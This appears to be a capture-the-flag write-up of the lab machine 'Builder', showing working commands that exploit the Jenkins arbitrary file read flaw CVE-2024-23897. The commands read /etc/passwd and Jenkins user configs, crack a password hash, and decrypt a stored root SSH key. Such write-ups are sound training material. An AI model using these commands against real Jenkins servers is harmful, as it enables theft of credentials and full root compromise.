Post

Builder

Machine Info

Builder is a medium-difficulty Linux machine that features a Jenkins instance. The Jenkins instance is found to be vulnerable to the CVE-2024-23897 vulnerability that allows unauthenticated users to read arbitrary files on the Jenkins controller file system. An attacker is able to extract the username and password hash of the Jenkins user jennifer. Using the credentials to login into the remote Jenkins instance, an encrypted SSH key is exploited to obtain root access on the host machine.

Scanning

Open Ports

1
nmap -p- --open -sS --min-rate 5000 -n -Pn -vvv 10.129.252.250 -oN allports

Nmap Results: Open Ports Open Ports

Service Detection

1
nmap -p22,8080 -sCV 10.129.252.250 -oN services

Nmap Results: Services SSH & Jenkins

Jenkins Arbitrary File Read | CVE-2024-23897

Since there are only two open ports on the target and we don’t have credentials to use ssh, we will focus our attention in port 8080 which is running a vulnerable version of Jenkins. It also have a stored credential that belongs to the root user but we can not access it.

Jenkins Version Jenkins 2.441

Credential Root SSH private Key

CVE-2024-23897 abuses a feature of the CLI command parser that replaces an ‘@’ character followed by a file path in an argument with the file’s contents, allowing unauthenticated attackers to read arbitrary files on the Jenkins controller file system.

Arbitrary File Read Vuln Arbitrary File Read Vulnerability

To download Jenkins CLI you can use the following command:

1
wget http://10.129.252.250:8080/jnlpJars/jenkins-cli.jar

Jenkins CLI Download Downloading Jenkins CLI from the target

Since its a jar file we have to execute it like this:

1
java -jar jenkins-cli.jar

Jenkins CLI Jenkins CLI Usage

Based on the instructions, we must use -s parameter to connect to the jenkins server.

1
java -jar jenkins-cli.jar -s http://10.129.252.250:8080

Connecting to Jenkins Commands & Descriptions

According to the documentation of the vulnerability, we must use a command + @ + the file to read:

1
java -jar jenkins-cli.jar -s http://10.129.252.250:8080/ help @/etc/passwd

Arbitray File Read Example Arbitary File Read Example

The help command returns just few lines, however in the exploits available online they are using connect-node and when using it we saw it returns more content:

1
java -jar jenkins-cli.jar -s http://10.129.252.250:8080/ connect-node @/etc/passwd

Readingetc/passwd Reading /etc/passwd

Getting Commands that Return more Info

To know which commands returns more content we can craft a special shell one-liner to execute every command and shows us the number of lines that command returns. First of all, we must have all the commands so we can iterate one by one. To do that, we can filter by the spaces just as shown in the image below:

The execution of jenkins-cli returns content as stderr, so we must change it to stdout so we can work with it. 2>&1.

1
java -jar jenkins-cli.jar -s http://10.129.252.250:8080/ 2>&1 | grep -v '    ' | tr -d ' '

Getting All Commands Getting all commands to use

Once we have the commands organized one by one, we will create a for loop to iterate through each line and execute the commands one by one in order to count the lines returned by each command.

1
for command in $(java -jar jenkins-cli.jar -s http://10.129.252.250:8080/ 2>&1 | grep -v '    ' | tr -d ' '); do java -jar jenkins-cli.jar -s http://10.129.252.250:8080/ $command @/etc/passwd 2>&1 | wc -l; done

Lines Number of lines returned by each command

Now we are adding some text to get a clear output with the command and the lines it returns:

1
for command in $(java -jar jenkins-cli.jar -s http://10.129.252.250:8080/ 2>&1 | grep -v '    ' | tr -d ' '); do echo "The command $command returns $(java -jar jenkins-cli.jar -s http://10.129.252.250:8080/ $command @/etc/passwd 2>&1 | wc -l) lines"; done

Clear Output Commands with number of lines

You can also add some colors to have a better output:

1
for command in $(java -jar jenkins-cli.jar -s http://10.129.252.250:8080/ 2>&1 | grep -v '    ' | tr -d ' '); do echo "The command \033[1;91m$command\033[0m returns \033[1;92m$(java -jar jenkins-cli.jar -s http://10.129.252.250:8080/ $command @/etc/passwd 2>&1 | wc -l)\033[0m lines"; done

Output with colors Output with some colors

As shown above, there are some commands that returns more content than others and connect-node is one of those that returns more lines so we will use this command to read sensitive files from the victim machine.

Enumerating Sensitive Jenkins Files

Using the command connect-node we are going to enumerate the target. First of all, we are going to read the /proc/self/environ which has information about the current process. In this case, all information about Jenkins like the Home PATH. We can also read the first flag which is stored in /var/jenkins_home/

1
2
java -jar jenkins-cli.jar -s http://10.129.252.250:8080/ connect-node @/proc/self/environ
java -jar jenkins-cli.jar -s http://10.129.252.250:8080/ connect-node @/var/jenkins_home/user.txt

Flag Jenkins HOME PATH

Here is the Jenkins Directory Structure where you can find interesting files to target. The information about users are usually stored in $JENKINS_HOME/users/users.xml

1
java -jar jenkins-cli.jar -s http://10.129.252.250:8080/ connect-node @/var/jenkins_home/users/users.xml

Users Reading users.xml

Now you can target the config file of that user and display its passwordhash using the following command:

1
java -jar jenkins-cli.jar -s http://10.129.252.250:8080/ connect-node @/var/jenkins_home/users/jennifer_12108429903186576833/config.xml 2>&1 | tail

User Config Jennifer’s Password Hash

We found the hash for the user jennifer, so let’s use john to crack it:

1
john hash --wordlist=/usr/share/wordlists/rockyou.txt

Cracking Using john to get the password for jennifer

Now that we have credentials we can login to Jenkins

Dashboard Logged in as jennifer

Shell as root

Now that we are logged in as jennifer we can access the credential we saw earlier.

Credential Root SSH Private Key

There are two ways to get this credential, using the browser or the Arbitrary File Read vulnerability we exploit before. However you must be logged in in order to decrypt it because, according to the documentation, credentials configured in Jenkins are stored in an encrypted form on the controller Jenkins instance (encrypted by the Jenkins instance ID).

Credential Getting the credential via the source

Credential Getting the credential using the Arbitrary File Read

Now we have to decrypt this credential, so in order to see it in clear text we have to use the Script Console. Here is a link where you can find a way to decrypt this credential -> How to decrypt Jenkins credentials?

1
println(hudson.util.Secret.decrypt("{HERE GOES THE CREDENTIAL}"))

Root SSH Private Key Root SSH Private Key

We get the id_rsa for the root user so we can use it as an authentication method using ssh

Remember to assign the correct permissions to the private key.

SSH Using private key to connect to the target via ssh

Flags Hi! I’m root

Flags

  • user.txt
1
2
cat /home/jennifer/user.txt 
80f**************************o4d
  • root.txt
1
2
cat /root/root.txt 
61c**************************49f

Thanks for reading! 🙌 🙌 🙌

This post is licensed under CC BY 4.0 by the author.